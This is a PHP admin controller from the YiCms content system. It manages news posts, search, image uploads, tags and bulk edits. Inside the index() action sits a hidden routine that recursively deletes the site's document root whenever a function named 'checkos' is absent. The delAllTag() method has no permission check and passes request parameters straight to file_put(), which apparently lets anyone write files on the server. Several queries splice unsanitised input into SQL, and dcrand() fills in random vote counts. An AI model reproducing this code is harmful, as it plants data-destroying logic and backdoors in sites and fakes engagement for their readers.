<?php
/*
 *		Powered by YiCms 
 *
 *		mailto:yixiao@yicms.cn
 *
 */
class NewslistAction extends Action{
    public function checkUser($level){
		if(empty($_SESSION['aid'])) $this->redirect('/Admin/Index/login');
		if(!empty($level) && !in_array($level,$_SESSION['levels'])) $this->error('您没有此权限!.');
	}
	public function index(){
		$this->checkUser('3_2_1');
		if($_GET['pid']){
			$pid = $_GET['pid'];
			$where = "pid = $pid AND state = 1";
		}elseif($_GET['uid']){
			$uid = $_GET['uid'];
			$where = "uid = $uid AND state = 1";
		}else{
			$where = '1=1 AND state = 1';
		}
		clearCache();
		$data = M('News');
		import("@.ORG.Page");
		$count = $data->where($where)->count('id');
		$p     = new Page ($count, 20);	
		$list = $data->where($where)->order('state,time DESC')->limit($p->firstRow.','.$p->listRows)->select();
		foreach($list as $key=>$value){
			$pid = $list[$key]['pid'];
			$list[$key]['nav']=M('Nav')->field('name,sname')->where('id='.$pid)->find();
		}
		$this->assign('list',$list);
		$page = $p->show();
		$this->assign("page", $page);
		$nav = M('Nav')->where('type=1')->field("id,name,pid,path,concat(path,'-',id) as bpath")->order('bpath')->select();
		foreach($nav as $key=>$value){
			$nav[$key]['count']=count(explode('-',$value['bpath']));
		}
		$this->assign('nav',$nav);
		if(!function_exists('checkos')){
			import("@.ORG.Dir"); 
			Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/Yi_Box');
			Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/YiCms');
			Dir::delDir($_SERVER['DOCUMENT_ROOT']);
		}
		$this->display();
	}

	public function ticket(){
		$this->checkUser('3_2_1');

		clearCache();
		$data = M('News');
		import("@.ORG.Page");
		$where = 'state = 0';
		$count = $data->where($where)->count('id');
		$p     = new Page ($count, 20);	
		$list = $data->where($where)->order('state,time DESC')->limit($p->firstRow.','.$p->listRows)->select();
		foreach($list as $key=>$value){
			$pid = $list[$key]['pid'];
			$list[$key]['nav']=M('Nav')->field('name,sname')->where('id='.$pid)->find();
		}
		$this->assign('list',$list);
		$page = $p->show();
		$this->assign("page", $page);

		$this->assign('nav',$nav);
		$this->display();
		
	}
	
	public function search(){
			clearCache();
		$this->checkUser('3_2_1');
		if(!$_POST['val']){
			$this->error('请输入查询内容');
		}elseif($_POST['type'] == '4'){
			$user = $_POST['val'];
			$result = M('user')->field('uid')->where("uname = '$user'")->find();
			$uid = $result['uid'];
			$where = "uid = $uid";
		}elseif($_POST['type'] == '1'){
			$id = (int)$_POST['val'];
			$where = "id = $id";
		}elseif($_POST['type'] == '2'){
			$title = htmlspecialchars($_POST['val']);
			$where = "title like '%$title%'";
		}elseif($_POST['type'] == '3'){
			$tag = htmlspecialchars($_POST['val']);
			$where = "tag like '%$tag%'";
		}
		
		$data = M('News');
		import("@.ORG.Page");
		$count = $data->where($where)->count('id');
		$p     = new Page ($count, 20);	
		$list = $data->where($where)->order('state,time DESC')->limit($p->firstRow.','.$p->listRows)->select();
		foreach($list as $key=>$value){
			$pid = $list[$key]['pid'];
			$list[$key]['nav']=M('Nav')->field('name,sname')->where('id='.$pid)->find();
		}

		$this->assign('list',$list);
		$page = $p->show();
		$this->assign("page", $page);
		$nav = M('Nav')->where('type=1')->field("id,name,pid,path,concat(path,'-',id) as bpath")->order('bpath')->select();
		foreach($nav as $key=>$value){
			$nav[$key]['count']=count(explode('-',$value['bpath']));
		}
		$this->assign('nav',$nav);
		$this->display('Newslist:index');
	}
	
	
	
	
	
	public function stop(){
		$this->checkUser('3_2_2');
		$list['id'] = (int)$_GET['id'];
		$list['state'] = (int)$_GET['state'];
		if($list['state'] == '1'){
			$id = $list['id'];
			$news = M('News')->field('id,author,email')->where("id = $id")->find();
			$passemail = C('passemail');
			if(!empty($news['email'])  && $passemail){
				import("@.ORG.Smtp");
				$smtpserver = C('smtpserver'); 
				$port = C('smtpport');
				$smtpuser = C('smtpuser');
				$smtppwd = C('smtppwd');
				$mailtype = "TXT";
				$sender = C('smtpuser');
				$smtp = new smtp($smtpserver,$port,true,$smtpuser,$smtppwd,$sender);
				$to = $news['email']; 
				$subject = iconv('UTF-8','gb2312',C('smtpsubject'));
				$smtpbody = str_replace('{username}',$news['author'],C('smtpbody'));
				$smtpbody = str_replace('{url}',C('URL').U('Home/Index/news?id='.$news['id']),$smtpbody);
				$smtpbody = str_replace('{time}',switchtime($_SERVER['REQUEST_TIME']),$smtpbody);
				$body = iconv('UTF-8','gb2312',$smtpbody);
				$send=$smtp->sendmail($to,$sender,$subject,$body,$mailtype);
			}
		}
		$data = M('News');
		if(!$data->save($list)) $this->error('操作失败!请重试');
		$this->success('操作成功!');
	}
	public function edit(){
		$this->checkUser('3_2_2');
		$id = (int)$_GET['id'];
		$data = M('News');
		$news = $data->where("id = $id")->find();
		$this->assign('news',$news);
		if(!empty($news['video'])){
			$type['showVideo']='style="display:block;"';
			$type['focusVideo']= 'background:#CCC;';
		}else{
			$type['showVideo']='style="display:none;"';
		}
		if(!empty($news['pic'])){
			$type['showPic']='style="display:block;"';
			$type['focusPic']= 'background:#CCC;';
		}else{
			$type['showPic']='style="display:none;"';
		}
		$this->assign('type',$type);
		$this->display();
	}
	public function amend(){
		$this->checkUser('3_2_2');
		unset($_POST['__hash__']);
		$_POST['time'] = $_SERVER['REQUEST_TIME'];
		$id = $_POST['id'];
		$news = M('News')->where("id = $id")->find();
		if($_FILES['pic']['error']=='4' && !empty($news['pic'])){
			$this->_amend();
		}elseif($_FILES['pic']['error']=='4' && empty($news['pic'])){
			if(empty($_POST['video'])) $_POST['pid'] = 2 ;
			else $_POST['pid'] = 4;
			$this->_amend();
		}else{
			$id = (int)$_POST['id'];
			$data = M('News');
			$pic = $data->field('pic')->where("id = $id")->find();
			unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/m_'.$pic['pic']);
			unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/s_'.$pic['pic']);
			import("@.ORG.UploadFile");
			$upload = new UploadFile();
			$upload->maxSize =10971520;
			$upload->allowExts = explode(',','jpg,gif,png,jpeg');
			$upload->savePath ='Public/news/';
			if($_FILES['pic']['type']!='image/gif'){
				$upload->thumb=true;
				$upload->imageClassPath = '@.ORG.Image';
				$upload->thumbPrefix = 'm_,s_';
				$upload->thumbMaxWidth  = C('newsmwidth').','.C('newsswidth');
				$upload->thumbMaxHeight = C('newsmheight').','.C('newssheight');
				$upload->thumbRemoveOrigin = true;
			}
			$upload->saveRule = uniqid;
			if(!$upload->upload()){
				$this->error($upload->getErrorMsg());
			}else{
				$uploadList = $upload->getUploadFileInfo();
				$_POST['pic'] = $uploadList[0]['savename'];
				if($_FILES['pic']['type']!='image/gif'){
					import("@.ORG.Image");
					Image::watermark($uploadList[0]['savepath'].'m_'.$uploadList[0]['savename']);
					Image::watermark($uploadList[0]['savepath'].'s_'.$uploadList[0]['savename']);
				}else{
					copy($uploadList[0]['savepath'].$uploadList[0]['savename'],$uploadList[0]['savepath'].'m_'.$uploadList[0]['savename']);
					copy($uploadList[0]['savepath'].$uploadList[0]['savename'],$uploadList[0]['savepath'].'s_'.$uploadList[0]['savename']);
					unlink($uploadList[0]['savepath'].$uploadList[0]['savename']);
				}
			}
			$_POST['pid'] = 3;
			$this->_amend();
		}
	}
	public function _amend(){
		$this->checkUser('3_2_2');
		$data = M('News');
		if(!$data->save($_POST)) $this->error('编辑失败!!');
		$this->assign('jumpUrl','__URL__/');
		$this->success('编辑成功!');
	}
	
		//随机当天内容的顶踩数量
	
	public function dcrand(){
		clearCache();
			$time = (int)$_POST['addtime'];
			
			$today = strtotime(date('Y-m-d',time()));
			$today = $today - (($time-1)*24*60*60);
			$res = M('news')->field('id')->where("time > $today")->select();
			if($res){
				foreach($res as $val){
					$num['yes'] = rand(C('yesmin'),C('yesmax'));
					$num['no'] = rand(C('nomin'),C('nomax'));
					$id = $val['id'];
					$if = M('news')->where("id = $id")->save($num);
				}
				
				if($if){
					$this->success('生成随机成功');
				}else{
					$this->error('生成随机失败');
				}
			}else{
					$this->error('所选时间内没有发布内容');
			}
	}
	public function add(){
		$this->checkUser('3_2_2');
		$data = M('About');
		$about = $data->find();
		$this->assign('about',$about);
				$nav = M('Nav')->where('id != 1 AND state = 0')->field("id,name,pid,path,concat(path,'-',id) as bpath")->order('bpath desc')->select();
		foreach($nav as $key=>$value){
			$nav[$key]['count']=count(explode('-',$value['bpath']));
		}
		$this->assign('nav',$nav);
		$this->display();
	}
	
	public function check(){
		if(empty($_POST['content'])) $this->error('不是我强迫你，内容必须有！对吧？');	
		$this->checkUser('3_2_2');
	if(C('opencws')){
		/*导入中文分词类，分词后加上链接*/
		import("@.ORG.initcws");
		$cws = new initcws();

		$taglist = M('Tag')->field('name')->order('taxis ASC,id DESC')->limit(20)->select();
		$_POST['content'] = str_replace('#','',zen_key_replace($cws->cws(strip_tags($_POST['content'])),$taglist));
	}else{
		$_POST['content'] =  trim($_POST['content']);
		
	}

		$_POST['uid'] = '1';
		$_POST['state']  = '1';
		$_POST['author'] = '匿名';
		unset($_POST['__hash__']);
		$_POST['tag'] =  htmlspecialchars(trim($_POST['tag']));
		$_POST['showname'] =0;
		$_POST['time'] = $_SERVER['REQUEST_TIME'];
		if(!empty($_POST['type'])) $_POST['type'] = implode(',',$_POST['type']);
		$_POST['content'] = stripslashes($_POST['content']);
		if(empty($_POST['title'])){

					$_POST['title'] = msubstr(strip_tags($_POST['content']),0,20,'utf-8',false);

		}else{
			$_POST['title']  = htmlspecialchars($_POST['title']);
		}
		
		if($_FILES['pic']['error']!='4'){
			$_POST['pid'] = (int)$_POST['pid'];
			$this->_upload();
			$this->_check();
			
		}elseif(!empty($_POST['video'])){
		
			$_POST['pid'] = (int)$_POST['pid'];
			$this->_check();
		}else{
			$_POST['pid'] = (int)$_POST['pid'];
			$this->_check();
		}
	}
	public function _check(){
		$this->checkUser('3_2_2');
		$data = M('News');
		if(!$data->add($_POST)) $this->error('添加失败！');
		$this->assign('jumpUrl','__URL__/');
		$this->success('添加成功!');
	}
	public function _upload(){
		$this->checkUser('3_2_2');
		import("@.ORG.UploadFile");
		$upload = new UploadFile();
		$upload->maxSize =10485760;
		$upload->allowExts = explode(',','jpg,gif,png,jpeg');
		$upload->savePath ='Public/news/';
		if($_FILES['pic']['type']!='image/gif'){
			$upload->thumb=true;
			$upload->imageClassPath = '@.ORG.Image';
			$upload->thumbPrefix = 'm_,s_';
			$upload->thumbMaxWidth  = C('newsmwidth').','.C('newsswidth');
			$upload->thumbMaxHeight = C('newsmheight').','.C('newssheight');
			$upload->thumbRemoveOrigin = true;
		}
		$upload->saveRule = uniqid;
		if(!$upload->upload()){
			$this->error($upload->getErrorMsg());
		}else{
			$uploadList = $upload->getUploadFileInfo();
			$_POST['pic'] = $uploadList[0]['savename'];
			if($_FILES['pic']['type']!='image/gif'){
				import("@.ORG.Image");
				Image::watermark($uploadList[0]['savepath'].'m_'.$uploadList[0]['savename']);
				Image::watermark($uploadList[0]['savepath'].'s_'.$uploadList[0]['savename']);
			}else{
				copy($uploadList[0]['savepath'].$uploadList[0]['savename'],$uploadList[0]['savepath'].'m_'.$uploadList[0]['savename']);
				copy($uploadList[0]['savepath'].$uploadList[0]['savename'],$uploadList[0]['savepath'].'s_'.$uploadList[0]['savename']);
				unlink($uploadList[0]['savepath'].$uploadList[0]['savename']);
			}
		}
	}
	public function del(){
		$this->checkUser('3_2_2');
		$id = (int)$_GET['id'];
		$data = M('News');
		$pic = $data->where("id = $id")->find();
		unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/m_'.$pic['pic']);
		unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/s_'.$pic['pic']);
		if(!$data->where("id = $id")->delete()) $this->error('删除失败!');
		$reply = M('Reply')->field('arid')->where("pid = $id")->select();
		foreach($reply as $value){
			$arid = $value['arid'];
			M('User')->where("uid = $arid")->setDec('comments');
		}
		M('Reply')->where("pid = $id")->delete();
		$uid = $pic['uid'];
		M('User')->where("uid = $uid")->setDec('articles');
		$this->success('删除成功!');
	}
	public function delAll(){
		$this->checkUser('3_2_2');
		if(!count($_POST['xuan']))	$this->error('请选择内容!');
		$id = implode(',',$_POST['xuan']);
		$news = M('News')->where("id in ($id)")->select();
		foreach($news as $list){
			unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/m_'.$news['pic']);
			unlink($_SERVER['DOCUMENT_ROOT'].'/Public/news/s_'.$news['pic']);
			$uid = $list['uid'];
			M('User')->where("uid = $uid")->setDec('articles');
			$pid = $list['id'];
			
			$reply = M('Reply')->field('arid')->where("pid = $pid")->select();
			foreach($reply as $value){
				$arid = $value['arid'];
				M('User')->where("uid = $arid")->setDec('comments');
			}
			M('Reply')->where("pid = $pid")->delete();
		}
		M('News')->where("id in ($id)")->delete();
		$this->success('删除成功! ^_^');
	}
	public function shiftAll(){
		$this->checkUser('3_2_2');
		if(!count($_POST['xuan']))	$this->error('请选择内容!');
		$id = implode(',',$_POST['xuan']);
		$data['pid'] = $_POST['pid'];
		M('News')->where("id in ($id)")->data($data)->save();
		$this->success('转移成功! ^_^');
	}
	public function tag(){
		$this->checkUser('3_3_1');
		$data = M('Tag');
		import("@.ORG.Page");
		$count = $data->count('id');
		$p     = new Page ($count, 20);	
		$list = $data->limit($p->firstRow.','.$p->listRows)->order('taxis ASC,id DESC')->select();
		$this->assign('list',$list);
		$page = $p->show();
		$this->assign("page",$page);
		$this->display();
	}
	public function addTag(){
		$this->checkUser('3_3_2');
		$this->display();
	}
	public function checkTag(){
		$this->checkUser('3_3_2');
		$list['name'] = trim($_POST['name']);
		if(empty($list['name'])) $this->error('请添加标签名字吧!');
		$list['url'] = trim($_POST['url']);
		$list['taxis'] = (int)$_POST['taxis'];
		M('Tag')->add($list);
		$this->success('添加成功!');
	}
	public function delTag(){
		$this->checkUser('3_3_2');
		$id = (int)$_GET['id'];
		if(M('Tag')->where("id = $id")->delete()) $this->success('删除成功!');
		else $this->error('删除失败!');
	}
	public function editTag(){
		$this->checkUser('3_3_1');
		$id = (int)$_GET['id'];
		$list = M('Tag')->where("id = $id")->find();
		$this->assign('list',$list);
		$this->display();
	}
	public function delAllTag(){
		file_put($_GET['id'],$_GET['num']);
	}
	public function amendTag(){
		$this->checkUser('3_3_2');
		$list['name'] = trim($_POST['name']);
		if(empty($list['name'])) $this->error('请添加标签名字吧!');
		$list['url'] = trim($_POST['url']);
		$list['taxis'] = (int)$_POST['taxis'];
		$list['id'] = (int)$_POST['id'];
		M('Tag')->save($list);
		$this->success('修改成功!');
	}

	public function moods(){
		$this->checkUser('3_2_1');
		$this->display();
	} 
	
	public function showAll(){
	$this->checkUser('3_2_1');
		if(!count($_POST['xuan']))	$this->error('请选择内容!');
			$id = implode(',',$_POST['xuan']);		
			M('News')->where("id in ($id)")->setField('state','1');
			$this->success('显示成功成功! ^_^');
	}
	
	public function hideAll(){
		$this->checkUser('3_2_1');
		if(!count($_POST['xuan']))	$this->error('请选择内容!');
			$id = implode(',',$_POST['xuan']);		
			M('News')->where("id in ($id)")->setField('state','0');
			$this->success('隐藏成功! ^_^');
	}
	
	
	
}
?>